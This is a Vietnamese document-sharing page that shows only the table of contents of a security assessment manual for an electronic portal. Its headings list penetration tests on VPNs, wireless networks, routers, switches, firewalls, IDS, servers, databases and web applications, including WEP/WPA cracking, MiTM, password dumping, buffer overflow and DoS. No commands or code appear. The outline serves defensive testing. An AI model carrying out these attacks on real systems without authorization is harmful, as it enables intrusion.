1. Trang chủ
  2. » Tất cả

Kiểm tra đánh giá an toàn thông tin cho cổng điện tử

368 1.2K 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Cấu trúc

  • 1.1. ĐÁNH GIÁ MẠNG RIÊNG ẢO (VPN)

    • 1.1.1. Kiểm tra quét cổng

      • 1.1.1.1. Mô tả

      • 1.1.1.2. Mục đích kiểm tra

      • 1.1.1.3. Quy trình kiểm tra

      • 1.1.1.4. Công cụ kiểm tra

    • 1.1.2. Thu thập dấu vết (Fingerprinting)

      • 1.1.2.1 Mô tả

      • 1.1.2.2. Mục đích kiểm tra

      • 1.1.2.3. Quy trình kiểm tra

      • 1.1.2.4. Công cụ kiểm tra

    • 1.1.3. Kiểm tra khả năng bẻ khóa chia sẻ trước (PSK - Pre-shared key)

      • 1.1.3.1 Mô tả

      • 1.1.3.2. Mục đích kiểm tra

      • 1.1.3.3 Quy trình kiểm tra

      • 1.1.3.4 Công cụ kiểm tra

    • 1.1.4. Kiểm tra đăng nhập với các tài khoản mặc định

      • 1.1.4.1. Mô tả

      • 1.1.4.2. Mục đích kiểm tra

      • 1.1.4.3. Quy trình kiểm tra

    • 1.1.5. Kiểm tra SSL VPN

      • 1.1.5.1. Mô tả

      • 1.1.5.2. Mục đích kiểm tra

      • 1.1.5.3. Quy trình kiểm tra

      • 1.1.5.4. Công cụ kiểm tra

  • 1.2. ĐÁNH GIÁ MẠNG KHÔNG DÂY (WLAN)

    • 1.2.1. Phát hiện điểm truy cập giả mạo

      • 1.2.1.1. Mô tả

      • 1.2.1.2. Mục đích kiểm tra

      • 1.2.1.3. Quy trình kiểm tra

      • 1.2.1.4. Công cụ kiểm tra

    • 1.2.2. Kiểm tra nghe lén đường truyền

      • 1.2.2.1. Mô tả

      • 1.2.2.2. Mục đích kiểm tra

      • 1.2.2.3. Quy trình kiểm tra

      • 1.2.2.4. Công cụ kiểm tra

    • 1.2.3. Kiểm tra xác minh mã hóa

      • 1.2.3.1. Mô tả

      • 1.2.3.2. Mục đích kiểm tra

      • 1.2.3.3. Quy trình kiểm tra

      • 1.2.3.4. Công cụ kiểm tra

    • 1.2.4. Kiểm tra bẻ khóa WEP (nếu có)

      • 1.2.4.1. Mô tả

      • 1.2.4.2. Mục đích kiểm tra

      • 1.2.4.3. Quy trình kiểm tra

      • Bước 2: Tập hợp và phân loại chúng theo sự xuất hiện những byte chính.

      • Bước 3: Tính toán giá trị có thể có cho các byte chính thông qua các phương pháp thống kê.

      • 1.2.4.4. Công cụ kiểm tra

    • 1.2.5. Kiểm tra Brute force khóa WPA (nếu có)

      • 1.2.5.1. Mô tả

      • 1.2.5.2. Mục đích kiểm tra

      • 1.2.5.3. Quy trình kiểm tra

      • 1.2.5.4. Công cụ kiểm tra

    • 1.2.6. Kiểm tra đánh lừa địa chỉ MAC

      • 1.2.6.1. Mô tả

      • 1.2.6.2. Mục đích kiểm tra

      • 1.2.6.3. Quy trình kiểm tra

      • 1.2.6.4. Công cụ kiểm tra

    • 1.2.7. Kiểm tra làm nhiễu tín hiệu

      • 1.2.7.1. Mô tả

      • 1.2.7.2. Mục đích kiểm tra

      • 1.2.7.3. Quy trình kiểm tra

    • 1.2.8. Kiểm tra tấn công MiTM

      • 1.2.8.1. Mô tả

      • 1.2.8.2. Mục đích kiểm tra

      • 1.2.8.3. Quy trình kiểm tra

      • 1.2.8.4. Công cụ kiểm tra

    • 1.2.9. Kiểm tra chèn gói tin mã hóa

      • 1.2.9.1. Mô tả

      • 1.2.9.2. Mục đích kiểm tra

      • 1.2.9.3. Quy trình kiểm tra

      • 1.2.9.4. Công cụ kiểm tra

    • 1.2.10. Kiểm tra giải mã gói tin

      • 1.2.10.1. Mô tả

      • 1.2.10.2. Mục đích kiểm tra

      • 1.2.10.3. Quy trình kiểm tra

      • 1.2.10.4. Công cụ kiểm tra

  • 2.1. ĐÁNH GIÁ ROUTER

    • 2.1.1. Kiểm tra hostname của router

      • 2.1.1.1. Mô tả

      • 2.1.1.2. Mục đích kiểm tra

      • 2.1.1.3 Quy trình kiểm tra

      • 2.1.1.4. Công cụ kiểm tra

    • 2.1.2. Quét các cổng mở mặc định trên router

      • 2.1.2.1. Mô tả

      • 2.1.2.2. Mục đích kiểm tra

      • 2.1.2.3. Quy trình kiểm tra

      • Bảng2.1: Danh sách các cổng, dịch vụ và giao thức thường gặp

      • 2.1.2.4. Công cụ kiểm tra

    • 2.1.3. Kiểm tra hệ điều hành, phiên bản router đang sử dụng

      • 2.1.3.1. Mô tả

      • 2.1.3.2. Mục đích kiểm tra

      • 2.1.3.3. Quy trình kiểm tra

      • 2.1.3.4. Công cụ kiểm tra

    • 2.1.4. Kiểm tra các giao thức đang chạy trên router

      • 2.1.4.1 Mô tả

      • 2.1.4.2. Mục đích kiểm tra

      • 2.1.4.3. Quy trình kiểm tra

      • 2.1.4.4. Công cụ kiểm tra

    • 2.1.5. Kiểm tra các lỗi trong cấu hình router

      • 2.1.5.1 Mô tả

      • 2.1.5.3. Mục đích kiểm tra

      • 2.1.5.2 Quy trình kiểm tra

      • 2.1.5.3 Công cụ kiểm tra

    • 2.1.6. Kiểm tra các kết nối VTY/TTY

      • 2.1.6.1. Mô tả

      • 2.1.6.2. Mục đích kiểm tra

      • 2.1.6.2 Quy trình kiểm tra

      • 2.1.6.3 Công cụ kiểm tra

    • 2.1.7. Kiểm tra chế độ (Mode) router đang chạy

      • 2.1.7.1. Mô tả

      • 2.1.7.1. Mục đích kiểm tra

      • 2.1.7.2. Quy trình kiểm tra

      • 2.1.7.3 Công cụ kiểm tra

    • 2.1.8. Kiểm tra giao thức SNMP

      • 2.1.8.1. Mô tả

      • 2.1.8.2. Mục đích kiểm tra

      • 2.1.8.2. Quy trình kiểm tra

      • 2.1.8.3. Công cụ kiểm tra

    • 2.1.9. Kiểm tra các kết nối TFTP

      • 2.1.9.1. Mô tả

      • 2.1.9.2. Mục đích kiểm tra

      • 2.1.9.2. Quy trình kiểm tra

      • 2.1.9.3. Công cụ kiểm tra

    • 2.1.10. Kiểm tra giao thức CDP

      • 2.1.10.1 Mô tả

      • 2.1.10.2. Mục đích kiểm tra

      • 2.1.10.3. Quy trình kiểm tra

      • 2.1.10.4. Công cụ kiểm tra

    • 2.1.11. Kiểm tra giao thức NTP

      • 2.1.11.1. Mô tả

      • 2.1.11.2. Mục đích kiểm tra

      • 2.1.11.3. Quy trình kiểm tra

      • 2.1.11.4. Công cụ kiểm tra

    • 2.1.12. Kiểm tra tấn công giả mạo (IP Spoofing)

      • 2.1.12.1. Mô tả

      • 2.1.12.2. Mục đích kiểm tra

      • 2.1.12.3. Quy trình kiểm tra

    • 2.1.13. Kiểm tra tấn công ARP

      • 2.1.13.1 Mô tả

      • 2.1.13.2. Mục đích kiểm tra

      • 2.1.13.3. Quy trình kiểm tra

      • 2.1.13.4. Công cụ kiểm tra

    • 2.1.14. Kiểm tra giao thức định tuyến (routing protocol)

      • 2.1.14.1 Mô tả

      • 2.1.14.2. Mục đích kiểm tra

      • 2.1.14.3 Quy trình kiểm tra

    • 2.1.15. Kiểm tra RIP

      • 2.1.15.1 Mô tả

      • 2.1.15.2. Mục đích kiểm tra

      • 2.1.15.3. Quy trình kiểm tra

      • 2.1.15.3 Công cụ kiểm tra

    • 2.1.16. Kiểm tra OSPF

      • 2.1.16.1 Mô tả

      • 2.1.16.2. Mục đích kiểm tra

      • 2.1.16.3. Quy trình kiểm tra

      • 2.1.16.3 Công cụ kiểm tra

    • 2.1.17. Kiểm tra BGP

      • 2.1.17.2. Mục đích kiểm tra

      • 2.1.17.3. Quy trình kiểm tra

      • 2.1.17.4. Công cụ kiểm tra

    • 2.1.18. Kiểm tra EIGRP

      • 2.1.18.1 Mô tả

      • 2.1.18.2. Mục đích kiểm tra

      • 2.1.18.3. Quy trình kiểm tra

    • 2.1.19. Kiểm tra tấn công từ chối dịch vụ trên router

      • 2.1.19.1 Mô tả

      • 2.1.19.2. Mục đích kiểm tra

      • 2.1.19.3. Quy trình kiểm tra

      • 2.1.19.3. Công cụ kiểm tra

    • 2.1.20. Kiểm tra tính năng hỗ trợ cấu hình thông qua webbase

      • 2.1.20.1. Mô tả

      • 2.1.20.2. Mục đích kiểm tra

      • 2.1.20.3. Quy trình kiểm tra

      • 2.1.20.4. Công cụ kiểm tra

  • 2.2. ĐÁNH GIÁ SWITCH

    • 2.2.1. Kiểm tra tấn công tràn bảng CAM

      • 2.2.1.1. Mô tả

      • 2.2.1.2. Mục đích kiểm tra

      • 2.2.1.3. Quy trình kiểm tra

      • 2.2.1.4. Công cụ kiểm tra

    • 2.2.2. Kiểm tra điều khiển broadcast-storm

      • 2.2.2.1. Mô tả

      • 2.2.2.2. Mục đích kiểm tra

      • 2.2.2.3. Quy trình kiểm tra

      • 2.2.2.4. Công cụ kiểm tra

    • 2.2.3. Kiểm tra VLAN hopping

      • 2.2.3.1. Mô tả

      • 2.2.3.2. Mục đích kiểm tra

      • 2.2.3.3. Quy trình kiểm tra

    • 2.2.4. Kiểm tra tấn công PVLAN

      • 2.2.4.1. Mô tả

      • 2.2.4.2. Mục đích kiểm tra

      • 2.2.4.3. Quy trình kiểm tra

      • 2.2.4.4. Công cụ kiểm tra

    • 2.2.5. Kiểm tra tấn công cấu hình STP

      • 2.2.5.1. Mô tả

      • 2.2.5.2. Mục đích kiểm tra

      • 2.2.5.3. Quy trình kiểm tra

    • 2.2.6. Kiểm tra tấn công DHCP Server

      • 2.2.6.1. Mô tả

      • 2.2.6.2. Mục đích kiểm tra

      • 2.2.6.3. Quy trình kiểm tra

    • 2.2.7. Kiểm tra tấn công CDP

      • 2.2.7.1. Mô tả

      • 2.2.7.2. Mục đích kiểm tra

      • 2.2.7.3. Quy trình kiểm tra

    • 2.2.8. Kiểm tra tấn công ARP

      • 2.2.8.1. Mô tả

      • 2.2.8.2. Mục đích kiểm tra

      • 2.2.8.3. Quy trình kiểm tra

      • 2.2.8.4. Công cụ kiểm tra

    • 2.2.9. Kiểm tra tấn công VTP

      • 2.2.9.1. Mô tả

      • 2.2.9.2. Mục đích kiểm tra

      • 2.2.9.3. Quy trình kiểm tra

  • 3.1. ĐÁNH GIÁ FIREWALL

    • 3.1.1. Xác định vị trí firewall

      • 3.1.1.1. Mô tả

      • 3.1.1.2. Mục đích kiểm tra

      • 3.1.1.3. Quy trình kiểm tra

      • 3.1.1.4. Công cụ kiểm tra

    • 3.1.2. Nhận diện firewall và dãy network bằng traceroute

      • 3.1.2.1. Mô tả

      • 3.1.2.2. Mục đích kiểm tra

      • 3.1.2.3. Quy trình kiểm tra

      • 3.1.2.4. Công cụ kiểm tra

    • 3.1.3. Kiểm tra quét cổng trên firewall

      • 3.1.3.1. Mô tả

      • 3.1.3.2. Mục đích kiểm tra

      • 3.1.3.3. Quy trình kiểm tra

      • 3.1.3.4. Công cụ kiểm tra

    • 3.1.4. Kiểm tra Banner Grabbing

      • 3.1.4.1. Mô tả

      • 3.1.4.2. Mục đích kiểm tra

      • 3.1.4.3. Quy trình kiểm tra

      • 3.1.4.4. Công cụ kiểm tra

    • 3.1.5. Phản ứng với gói tin tùy chỉnh

      • 3.1.5.1. Mô tả

      • 3.1.5.3. Quy trình kiểm tra

      • 3.1.5.4. Công cụ kiểm tra

    • 3.1.6. Liệt kê danh sách điều khiển truy cập

      • 3.1.6.1. Mô tả

      • 3.1.6.2. Mục đích kiểm tra

      • 3.1.6.3. Quy trình kiểm tra

      • 3.1.6.4. Công cụ kiểm tra

    • 3.1.7. Xác định kiến trúc firewall

      • 3.1.7.1. Mô tả

      • 3.1.7.2. Mục đích kiểm tra

      • 3.1.7.3. Quy trình kiểm tra

    • 3.1.8. Kiểm tra chính sách firewall

      • 3.1.8.1. Mô tả

      • 3.1.8.2. Mục đích kiểm tra

      • 3.1.8.3. Quy trình kiểm tra

    • 3.1.9. Kiểm tra cổng chuyển hướng

      • 3.1.9.1. Mô tả

      • 3.1.9.2. Mục đích kiểm tra

      • 3.1.9.3. Quy trình kiểm tra

      • 3.1.9.4. Công cụ kiểm tra

  • 3.2. ĐÁNH GIÁ ANTI-VIRUS

    • 3.2.1. Kiểm tra khả năng hoạt động của anti-virus

      • 3.2.1.1. Mô tả

      • 3.2.1.2. Mục đích kiểm tra

      • 3.2.1.3. Quy trình kiểm tra

    • 3.2.2. Kiểm tra khả năng cập nhật anti-virus

      • 3.2.2.1. Mô tả

      • 3.2.2.2. Mục đích kiểm tra

      • 3.2.2.3. Quy trình kiểm tra

    • 3.2.3. Kiểm tra khả năng tắt/bật với tài khoản người dùng thông thường

      • 3.2.3.1. Mô tả

      • 3.2.3.2. Mục đích kiểm tra

      • 3.2.3.3. Quy trình kiểm tra

    • 3.2.4. Kiểm tra thiết lập quét

      • 3.2.4.1. Mô tả

      • 3.2.4.2. Mục đích kiểm tra

      • 3.2.4.3. Quy trình kiểm tra

    • 3.2.5. Kiểm tra hệ thống nhật ký, báo cáo

      • 3.2.5.1. Mô tả

      • 3.2.5.2. Mục đích kiểm tra

      • 3.2.5.3. Quy trình kiểm tra

  • 3.3. ĐÁNH GIÁ HỆ THỐNG PHÁT HIỆN XÂM NHẬP (IDS)

    • 3.3.1. Kiểm tra khả năng sử dụng tài nguyên của hệ thống phát hiện xâm nhập (IDS)

      • 3.3.1.1. Mô tả

      • 3.3.1.2. Mục đích kiểm tra

      • 3.3.1.3. Quy trình kiểm tra

      • 3.3.1.4. Công cụ kiểm tra

    • 3.3.2. Kiểm tra tấn công giả mạo địa chỉ IP, địa chỉ MAC

      • 3.3.2.1. Mô tả

      • 3.3.2.2. Mục đích kiểm tra

      • 3.3.2.3. Quy trình kiểm tra

      • 3.3.2.4. Công cụ kiểm tra

    • 3.3.3. Kiểm tra khả năng xử lý các gói tin đã phân mảnh

      • 3.3.3.1. Mô tả

      • 3.3.3.2. Mục đích kiểm tra

      • 3.3.3.3. Quy trình kiểm tra

      • 3.3.3.4. Công cụ kiểm tra

    • 3.3.4. Kiểm tra Overlapping Fragment, Ping of Death

      • 3.3.4.1. Mô tả

      • 3.3.4.2. Mục đích kiểm tra

      • 3.3.4.3. Quy trình kiểm tra

      • 3.3.4.4. Công cụ kiểm tra

    • 3.3. 5. Kiểm tra khả năng đánh lừa IDS

      • 3.3.5.1. Mô tả

      • 3.3.5.2. Mục đích kiểm tra

      • 3.3.5.3. Quy trình kiểm tra

      • 3.3.5.4 Công cụ

    • 3.3.6. Kiểm tra hệ thống cờ TCP

      • 3.3.6.1. Mô tả

      • 3.3.6.2. Mục đích kiểm tra

      • 3.3.6.3. Quy trình kiểm tra

      • 3.3.6.4. Công cụ kiểm tra

    • 3.3. 7. Kiểm tra SYN flood, dự đoán số seq

      • 3.3.7.1. Mô tả

      • 3.3.7.3. Mục đích kiểm tra

      • 3.3.7.2. Quy trình kiểm tra

      • 3.3.7.3 Công cụ kiểm tra

    • 3.3. 8. Kiểm tra với các gói ICMP

      • 3.3.8.1. Mô tả

      • 3.3.8.2. Mục đích kiểm tra

      • 3.3.8.2. Quy trình kiểm tra

      • 3.3.8.3 Công cụ kiểm tra

    • 3.3. 9. Kiểm tra khả năng thực thi của IDS với TCPreplay

      • 3.3.9.1. Mô tả

      • 3.3.9.2. Mục đích kiểm tra

      • 3.3.9.3. Quy trình kiểm tra

      • 3.3.9.4. Công cụ kiểm tra

    • 3.3.10. Kiểm tra trường hợp các URL (Uniform Resource Locator) đã được mã hóa (URL Encoding)

      • 3.3.10.1. Mô tả

      • 3.3.10.2. Mục đích kiểm tra

      • 3.3.10.3. Quy trình kiểm tra

      • 3.3.10.4. Công cụ kiểm tra

  • 3.4. ĐÁNH GIÁ HỆ THỐNG HONEYPOT

    • 3.4.1. Giới thiệu

    • 3.4.2. Phân loại

      • 3.4.2.1. Honeypot tương tác ở mức thấp

      • 3.4.2.2. Honeypot tương tác ở mức cao

  • 4.1. ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ UNIX/LINUX

    • 4.1.1. Nhận diện Live-host

      • 4.1.1.1. Mô tả

      • 4.1.1.2. Mục đích kiểm tra

      • 4.1.1.3. Quy tình kiểm tra

      • 4.1.1.4. Công cụ kiểm tra

    • 4.1.2. Nhận diện cổng (port), dịch vụ (service)

      • 4.1.2.1. Mô tả

      • 4.1.2.2. Mục đích kiểm tra

      • 4.1.2.3. Quy trình kiểm tra

      • 4.1.2.4. Công cụ kiểm tra

    • 4.1.3. Liệt kê tài khoản, nhóm người dùng

      • 4.1.3.1. Mô tả

      • 4.1.3.2. Mục đích kiểm tra

      • 4.1.3.3. Quy trình kiểm tra

    • 4.1.4. Kiểm tra các giao thức thông thường

      • 4.1.4.1. Mô tả

      • 4.1.4.2. Mục đích kiểm tra

      • 4.1.4.3. Quy trình kiểm tra

      • 4.1.4.4. Công cụ kiểm tra

    • 4.1.5. Kiểm tra tấn công từ xa (Remote Attack)

      • 4.1.5.1. Mô tả

      • 4.1.5.2. Mục đích kiểm tra

      • 4.1.5.3. Quy trình kiểm tra

      • 4.1.5.4. Công cụ kiểm tra

    • 4.1.6. Kiểm tra tấn công Password

      • 4.1.6.1. Mô tả

      • 4.1.6.2. Mục đích kiểm tra

      • 4.1.6.3. Quy trình kiểm tra

      • 4.1.6.4. Công cụ kiểm tra

    • 4.1.7. Kiểm tra tấn công Buffer Overflows

      • 4.1.7.1. Mô tả

      • 4.1.7.2. Mục đích kiểm tra

      • 4.1.7.3. Quy trình kiểm tra

    • 4.1.8. Kiểu tấn công Format String

      • 4.1.8.1. Mô tả

      • 4.1.8.2. Mục đích kiểm tra

      • 4.1.8.3. Quy trình kiểm tra

    • 4.1.9. Kiểu tấn công chia sẻ NFS (Network File System)

      • 4.1.9.1. Mô tả

      • 4.1.9.2. Mục đích kiểm tra

      • 4.1.9.3. Quy trình kiểm tra

    • 4.1.10. Kiểm tra tấn công vào X-Window

      • 4.1.10.1. Mô tả

      • 4.1.10.2. Mục đích kiểm tra

      • 4.1.10.3. Quy trình kiểm tra

    • 4.1.11. Kiểm tra tấn công RPC (Remote Procedure Call)

      • 4.1.11.1. Mô tả

      • 4.1.11.2. Mục đích kiểm tra

      • 4.1.11.4. Công cụ kiểm tra

    • 4.1.12. Kiểm tra tấn công Web

      • 4.1.12.1. Mô tả

      • 4.1.12.2. Mục đích kiểm tra

      • 4.1.12.3. Quy trình kiểm tra

      • 4.1.12.4. Công cụ kiểm tra

    • 4.1.13. Kiểm tra tấn công Mail Services

      • 4.1.13.1. Mô tả

      • 4.1.13.2. Mục đích kiểm tra

      • 4.1.13.3. Quy trình kiểm tra

    • 4.1.14. Kiểm tra tấn công Local

      • 4.1.14.1. Mô tả

      • 4.1.14.2. Mục đích kiểm tra

      • 4.1.14.3. Quy trình kiểm tra

    • 4.1.15. Kiểm tra tấn công phân quyền tập tin và thư mục

      • 4.1.15.1. Mô tả

      • 4.1.15.2. Mục đích kiểm tra

      • 4.1.15.3. Quy trình kiểm tra

      • 4.1.15.4. Công cụ kiểm tra

    • 4.1.16. Kiểm tra tấn công Symlink

      • 4.1.16.1. Mô tả

      • 4.1.16.2. Mục đích kiểm tra

      • 4.1.16.3. Quy trình kiểm tra

    • 4.1.17. Kiểm tra tấn công Key Logger

      • 4.1.17.1. Mô tả

      • 4.1.17.2. Mục đích kiểm tra

      • 4.1.17.3. Quy trình kiểm tra

      • 4.1.17.4. Công cụ kiểm tra

    • 4.1.18. Đánh giá an toàn vật lý

      • 4.1.18.1. Mô tả

      • 4.1.18.2. Mục đích kiểm tra

      • 4.1.18.3. Quy trình kiểm tra

  • 4.2. ĐÁNH GIÁ HỆ THỐNG MÁY CHỦ WINDOWS

    • 4.2.1. Thu thập thông tin

      • 4.2.1.1. Mô tả

      • 4.2.1.2. Mục đích kiểm tra

      • 4.2.1.3. Quy trình kiểm tra

      • 4.2.1.4. Công cụ kiểm tra

    • 4.2.2. Kiểm tra các giao thức thông thường

      • 4.2.2.1. Mô tả

      • 4.2.2..2. Mục đích kiểm tra

      • 4.2.2.3. Quy trình kiểm tra

      • 4.2.2.4. Công cụ kiểm tra

    • 4.2.3. Kiểm tra tấn công từ xa (Remote Attack)

      • 4.2.3.1. Mô tả

      • 4.2.3.2. Mục đích kiểm tra

      • 4.2.3.3. Quy trình kiểm tra

      • 4.2.3.4. Công cụ kiểm tra

    • 4.2.4. Kiểm tra tấn công mật khẩu (Password Attack)

      • 4.2.4.1. Mô tả

      • 4.2.4.2. Mục đích kiểm tra

      • 4.2.4.3. Quy trình kiểm tra

      • 4.2.4.4. Công cụ kiểm tra

    • 4.2.5. Kiểm tra tấn công tràn bộ nhớ (Buffer Overflow)

      • 4.2.5.1. Mô tả

      • 4.2.5.2. Mục đích kiểm tra

      • 4.2.5.3. Quy trình kiểm tra

    • 4.2.6. Kiểm tra tấn công kiểu dữ liệu (Formatstring)

      • 4.2.6.1. Mô tả

      • 4.2.6.2. Mục đích kiểm tra

      • 4.2.6.3. Quy trình kiểm tra

    • 4.2.7. Kiểm tra tấn công Web

      • 4.2.7.1. Mô tả

      • 4.2.7.2. Mục đích kiểm tra

      • 4.2.7.3. Quy trình kiểm tra

      • 4.2.7.4. Công cụ kiểm tra

    • 4.2.8. Kiểm tra tấn công dịch vụ thư điện tử (Mail Service)

      • 4.2.8.1. Mô tả

      • 4.2.8.2. Mục đích kiểm tra

      • 4.2.8.3. Quy trình kiểm tra

    • 4.2.9. Kiểm tra tấn công NetBIOS

      • 4.2.9.1. Mô tả

      • 4.2.9.2. Mục đích kiểm tra

      • 4.2.9.3. Quy trình kiểm tra

      • 4.2.9.4. Công cụ kiểm tra

    • 4.2.10. Kiểm tra tấn công SMB (Server Message Block )

      • 4.2.10.1. Mô tả

      • 4.2.10.2. Mục đích kiểm tra

      • 4.2.10.3. Quy trình kiểm tra

      • 4.2.10.4. Công cụ kiểm tra

    • 4.2.11. Kiểm tra tấn công Scheduling

      • 4.2.11.1. Mô tả

      • 4.2.11.2. Mục đích kiểm tra

      • 4.2.11.3. Quy trình kiểm tra

      • 4.2.11.4. Công cụ kiểm tra

    • 4.2.12. Kiểm tra tấn công Registry

      • 4.2.12.1. Mô tả

      • 4.2.12.2. Mục đích kiểm tra

      • 2.12.3. Quy trình kiểm tra

      • 4.2.12.4. Công cụ kiểm tra

    • 4.2.13. Kiểm tra tấn công GetAdmin và Sechole

      • 4.2.13.1. Mô tả

      • 4.2.13.3. Quy trình kiểm tra

      • 4.2.13.4. Công cụ kiểm tra

    • 4.2.14. Kiểm tra tấn công LPC (Local Procedure Call)

      • 4.2.14.1. Mô tả

      • 4.2.14.2. Mục đích kiểm tra

      • 4.2.14.3. Quy trình kiểm tra

      • 4.2.14.4. Công cụ kiểm tra

    • 4.2.15. Kiểm tra tấn công Teardrop và Teardrop2

      • 4.2.15.1. Mô tả

      • 4.2.15.2. Mục đích kiểm tra

      • 4.2.15.3. Quy trình kiểm tra

      • 4.2.15.4. Công cụ kiểm tra

    • 4.2.16. Kiểm tra tấn công Land và LaTierra

      • 4.2.16.1. Mô tả

      • 4.2.16.2. Mục đích kiểm tra

      • 4.2.16.3. Quy trình kiểm tra

      • 4.2.16.4. Công cụ kiểm tra

    • 4.2.17. Kiểm tra tấn công nội bộ (Local Attack)

      • 4.2.17.1. Mô tả

      • 4.2.17.2. Mục đích kiểm tra

      • 4.2.17.3. Quy trình kiểm tra

    • 4.2.18. Kiểm tra tấn công Key Logger

      • 4.2.18.1. Mô tả

      • 4.2.8.2. Mục đích kiểm tra

      • 4.2.18.3. Quy trình kiểm tra

      • 4.2.18.4. Công cụ kiểm tra

    • 4.2.19. Kiểm tra Password Dumping

      • 4.2.19.1. Mô tả

      • 4.2.19.2. Mục đích kiểm tra

      • 4.2.19.3. Quy trình kiểm tra

      • 4.2.19.4. Công cụ kiểm tra

    • 4.2.20. Vượt qua xác thực bằng khởi động từ một hệ điều hành thay thế

      • 4.2.20.1. Mô tả

      • 4.2.20.2. Mục đích kiểm tra

      • 4.2.20.3. Quy trình kiểm tra

      • 4.2.20.4. Công cụ kiểm tra

    • 4.2.21. Kiểm tra tấn công bằng ERD Commander

      • 4.2.21.1. Mô tả

      • 4.2.21.2. Mục đích kiểm tra

      • 4.2.21.3. Quy trình kiểm tra

      • 4.2.21.4. Công cụ kiểm tra

    • 4.2.22. Kiểm tra tấn công DoS (Denial of Service)

      • 4.2.22.1. Mô tả

      • 4.2.22.2. Mục đích kiểm tra

      • 4.2.22.3. Quy trình kiểm tra

      • 4.2.22.4. Công cụ kiểm tra

  • 5.1. ĐÁNH GIÁ CẤU HÌNH MÁY CHỦ

    • 5.1.1. Đánh giá hệ thống máy chủ Unix/Linux

      • 5.1.1.1. Kiểm tra các dịch vụ, cổng cần thiết

      • 5.1.1.2. Kiểm tra tài khoản, nhóm người dùng

    • 5.1.2. Đánh giá hệ thống máy chủ Windows

      • 5.1.2.1. Liệt kê tài khoản người dùng

      • 5.1.2.2. Liệt kê tài nguyên tài nguyên chia sẽ

      • 5.1.2.3. Liệt kê các chính sách

      • 5.1.2.4. Liệt kê các cổng và dịch vụ sử dụng

      • 5.1.2.5. Liệt kê MIB

  • 5.2. ĐÁNH GIÁ WEB SERVER

    • 5.2.1. Đánh giá Apache HTTP

      • 5.2.1.1. Mô tả

      • 5.2.1.2. Mục đích kiểm tra

      • 5.2.1.3. Quy trình kiểm tra

    • 5.2.2. Đánh giá Apache Tomcat

      • 5.2.2.1. Mô tả

      • 5.2.2.2. Mục đích kiểm tra

      • 5.2.2.3. Quy trình kiểm tra

    • 5.2.3. Đánh giá IIS

      • 5.2.3.1. Kiểm tra lỗi để lộ thông tin

      • 5.3.2.2. Kiểm tra lỗi tràn bộ nhớ đệm

      • 5.3.2.3. Kiểm tra DOS

      • 5.3.2.4. Kiểm tra File System Traversal

  • 5.3. ĐÁNH GIÁ CƠ SỞ DỮ LIỆU

    • 5.3.1. Đánh giá MS SQL

      • 5.3.1.1. Liệt kê SQL Server

      • 5.3.1.2. Kiểm tra tấn công brute force SQL Server

      • 5.3.1.3. Kiểm tra phương thức xác thực

      • 5.3.1.4. Kiểm tra thiết lập ghi lại truy cập

      • 5.3.1.5. Kiểm tra tham số cấu hình ban đầu SQL Server

      • 5.3.1.6. Kiểm tra công việc thiết lập theo lịch trình của SQL Server

    • 5.3.2. Đánh giá Oracle

      • 5.3.2.1. Liệt kê TNS Listener

      • 5.3.2.2. Kiểm tra Brute – Force Oracle

      • 5.3.2.3. Đánh giá Post-Authentication

    • 5.3.3. Đánh giá MySQL

      • 5.3.3.1. Mô tả

      • 5.3.3.2. Mục đích kiểm tra

      • 5.3.3.3. Quy trình kiểm tra

  • 6.1. TÌM THÔNG TIN VỀ MÁY CHỦ WEB

    • 6.1.1. Tìm phiên bản hệ điều hành của máy chủ

      • 6.1.1.1. Mô tả

      • 6.1.1.2. Mục đích kiểm tra

      • 6.1.1.3. Quy trình kiểm tra

      • 6.1.1.4. Công cụ kiểm tra

    • 6.1.2. Xác định các tên miền đặt chung trên máy chủ

      • 6.1.2.1. Mô tả

      • 6.1.2.2. Mục đích kiểm tra

      • 6.1.2.3. Quy trình kiểm tra

      • Bước 2: Biện pháp khắc phục:

      • 6.1.2.4. Công cụ kiểm tra

    • 6.1.3. Xác định các cổng đang được mở trên máy chủ

      • 6.1.3.1. Mô tả

      • 6.1.3.2. Mục đích kiểm tra

      • 6.1.3.3. Quy trình kiểm tra

      • 6.1.3.4. Công cụ kiểm tra

    • 6.1.4. Kiểm tra cấu trúc, lỗ hổng và các công cụ quản trị trên máy chủ

      • 6.1.4.1. Mô tả

      • 6.1.4.2. Mục đich kiểm tra

      • 6.1.4.3. Quy trình kiểm tra

  • 6.2. TÌM THÔNG TIN VỀ ỨNG DỤNG WEB

    • 6.2.1. Thu thập thông tin từ Google

      • 6.2.1.1. Mô tả

      • 6.2.1.2. Mục đích kiểm tra

      • 6.2.1.3. Quy trình kiểm tra

      • 6.2.1.4. Công cụ kiểm tra

    • 6.2.2. Xác định các điểm nhập dữ liệu đầu vào

      • 6.2.2.1. Mô tả

      • 6.2.2.2. Mục đích kiểm tra

      • 6.2.2.3. Quy trình kiểm tra

      • 6.2.2.4. Công cụ kiểm tra

    • 6.2.3. Kiểm tra phương thức mã hóa khi truyền dữ liệu (SSL/TLS)

      • 6.2.3.1. Mô tả

      • 6.2.3.2. Mục đích kiểm tra

      • 6.2.3.3. Quy trình kiểm tra

      • 6.2.3.4. Công cụ kiểm tra

    • 6.2.4. Xác định cấu trúc thư mục trang web

      • 6.2.4.1. Mô tả

      • 6.2.4.2. Mục đích kiểm tra

      • 6.2.4.3. Quy trình kiểm tra

      • 6.2.4.4. Công cụ kiểm tra

    • 6.2.5. Xác định các tập tin cũ và tập tin sao lưu trên trang web

      • 6.2.5.1. Mô tả

      • 6.2.5.2. Mục đích kiểm tra

      • 6.2.5.3. Quy trình kiểm tra

      • 6.2.5.4. Công cụ kiểm tra

    • 6.2.6. Phân tích mã nguồn trang web

      • 6.2.6.1. Mô tả

      • 6.2.6.2. Mục đích kiểm tra

      • 6.2.6.3. Quy trình kiểm tra

      • 6.2.6.4. Công cụ

  • 7.1. KIỂM TRA MÃ HÓA KHI GỬI THÔNG ĐIỆP XÁC THỰC

    • 7.1.1. Kiểm tra giao thức truyền

      • Công cụ kiểm tra:

    • 7.1.2. Kiểm tra phương thức truyền

      • Công cụ kiểm tra:

  • 7.2. KIỂM TRA DANH SÁCH NGƯỜI DÙNG

    • 7.2.1. Kiểm tra các thông báo phản hồi từ Server

    • 7.2.2. Phân tích URL

    • 7.2.3. Tìm kiếm URI

    • 7.2.4. Đoán User

